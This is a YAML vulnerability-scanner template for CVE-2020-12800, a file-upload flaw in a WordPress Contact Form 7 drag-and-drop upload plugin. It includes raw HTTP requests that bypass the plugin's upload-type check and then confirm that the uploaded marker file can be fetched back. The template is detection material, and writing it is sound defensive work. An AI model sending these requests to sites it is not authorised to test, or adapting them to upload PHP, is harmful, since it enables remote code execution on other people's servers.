77 lines
3.0 KiB
YAML
77 lines
3.0 KiB
YAML
id: CVE-2020-12800
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info:
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name: WordPress Contact Form 7 <1.3.3.3 - Remote Code Execution
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author: dwisiswant0
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severity: critical
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description: |
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WordPress Contact Form 7 before 1.3.3.3 allows unrestricted file upload and remote code execution by setting supported_type to php% and uploading a .php% file.
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impact: |
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Successful exploitation of this vulnerability allows remote attackers to execute arbitrary code on the affected WordPress site.
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remediation: |
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Update the Contact Form 7 plugin to version 1.3.3.3 or later to mitigate this vulnerability.
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reference:
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- https://nvd.nist.gov/vuln/detail/CVE-2020-12800
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- https://github.com/amartinsec/CVE-2020-12800
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- https://packetstormsecurity.com/files/157951/WordPress-Drag-And-Drop-Multi-File-Uploader-Remote-Code-Execution.html
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- https://wordpress.org/plugins/drag-and-drop-multiple-file-upload-contact-form-7/#developers
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2020-12800
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cwe-id: CWE-434
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epss-score: 0.97465
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epss-percentile: 0.99957
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cpe: cpe:2.3:a:codedropz:drag_and_drop_multiple_file_upload_-_contact_form_7:*:*:*:*:*:wordpress:*:*
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metadata:
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max-request: 2
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vendor: codedropz
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product: drag_and_drop_multiple_file_upload_-_contact_form_7
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framework: wordpress
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tags: wordpress,wp-plugin,fileupload,wp,rce,packetstorm,cve,cve2020,intrusive,codedropz
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http:
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- raw:
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- |
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POST /wp-admin/admin-ajax.php HTTP/1.1
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Host: {{Hostname}}
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Content-Type: multipart/form-data; boundary=---------------------------350278735926454076983690555601
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X-Requested-With: XMLHttpRequest
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-----------------------------350278735926454076983690555601
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Content-Disposition: form-data; name="supported_type"
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txt%
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-----------------------------350278735926454076983690555601
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Content-Disposition: form-data; name="size_limit"
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5242880
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-----------------------------350278735926454076983690555601
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Content-Disposition: form-data; name="action"
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dnd_codedropz_upload
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-----------------------------350278735926454076983690555601
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Content-Disposition: form-data; name="type"
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click
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-----------------------------350278735926454076983690555601
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Content-Disposition: form-data; name="upload-file"; filename="{{randstr}}.txt%"
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Content-Type: application/x-httpd-php
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CVE-2020-12800-{{randstr}}
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-----------------------------350278735926454076983690555601--
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- |
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GET /wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/{{randstr}}.txt HTTP/1.1
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Host: {{Hostname}}
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matchers-condition: and
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matchers:
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- type: word
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part: body_2
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words:
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- "CVE-2020-12800-{{randstr}}"
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- type: status
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status:
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- 200
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# digest: 4a0a0047304502200c0bc4c54a33c98044e7bcfdd5165f326e9381054f693d243cf010ccfbb47bcb022100f6d8b29bc41ba239c22a82fc973adde5fdff7ca3972ade5102e2eb6319e1ec67:922c64590222798bb761d5b6d8e72950 |